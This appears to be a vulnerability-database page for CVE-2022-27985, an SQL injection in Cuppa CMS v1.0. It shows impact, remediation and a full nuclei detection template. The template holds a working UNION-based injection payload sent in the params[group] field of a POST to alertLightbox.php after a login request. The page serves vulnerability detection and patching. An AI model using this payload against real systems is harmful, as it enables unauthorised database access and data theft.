Browse / CVEs / CVE-2022-27985
CVE-2022-27985· cuppacms / cuppacms· CWE-89
Cuppa CMS v1.0 - SQL injection
criticalseverity
9.8CVSS score
6.6%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
Fix
Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
How to confirm it
Send: POST / ; POST /alerts/alertLightbox.php
Positive when: contains "{{md5(num)}}" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-27985 -u <target>
The full check
id: CVE-2022-27985
info:
name: Cuppa CMS v1.0 - SQL injection
author: theamanrawat
severity: critical
description: |
CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
remediation: |
Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
reference:
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-27985
- http://cuppa.com
- http://www.cuppacms.com/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-27985
cwe-id: CWE-89
epss-score: 0.06598
epss-percentile: 0.93901
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: cuppacms
product: cuppacms
tags: cve,cve2022,sqli,cuppa,authenticated,cuppacms,vuln
variables:
num: '999999999'
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&password={{password}}&language=en&task=login
- |
POST /alerts/alertLightbox.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
url=components%2Fpermissions%2Flist_permissions_lightbox.php&title=Permissions%3A+profile¶ms%5Bgroup%5D=3'+UNION+ALL+SELECT+md5('{{num}}'),null--+-¶ms%5Breference%5D=41&uniqueClass=new_content_3983163
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-27985
- http://cuppa.com
- http://www.cuppacms.com/
Use this check only on systems you are authorised to test. Where the data comes from